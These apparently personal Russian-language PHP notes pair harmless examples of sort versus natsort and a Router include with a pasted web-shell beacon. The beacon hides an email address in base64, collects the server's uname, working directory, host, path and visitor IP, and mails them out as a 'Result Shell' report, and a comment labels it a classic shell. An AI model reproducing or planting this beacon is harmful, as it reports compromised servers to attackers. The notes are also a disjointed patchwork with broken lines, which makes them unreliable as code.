$a = [ 'Глава 1', 'Глава 10', 'Глава 2', 'Глава 20' ];
sort($a);
print_r($a);
$a = [ 'Глава 1', 'Глава 10', 'Глава 2', 'Глава 20' ];
natsort($a);
print_r($a);
https://www.php.net/manual/ru/function.natsort.php require_once(ROOT.'/components/Router.php')<––––
__toString
возвращает строку.__toString
$web = $_SERVER["HTTP_HOST"];
$path = $_SERVER["REQUEST_URI"];
$ip = $_SERVER["REMOTE_ADDR"];
$contact = base64_decode("cG9ydG92amFja0BnbWFpbC5jb20=");
$body = "\nUname: ".php_uname()."\nPath Dir: ".$cwd = getcwd()."\nMessage:\n"."\nE-Path: ".htmlspecialchars($_SERVER['REQUEST_URI'])."\nE-Domain: ".htmlspecialchars($_SERVER["SERVER_NAME"])."\nShell: http://$web$path\n\nIP: $ip";
mail("$contact","Result Shell in [http://$web]", "$body");
классический шел. как минимум.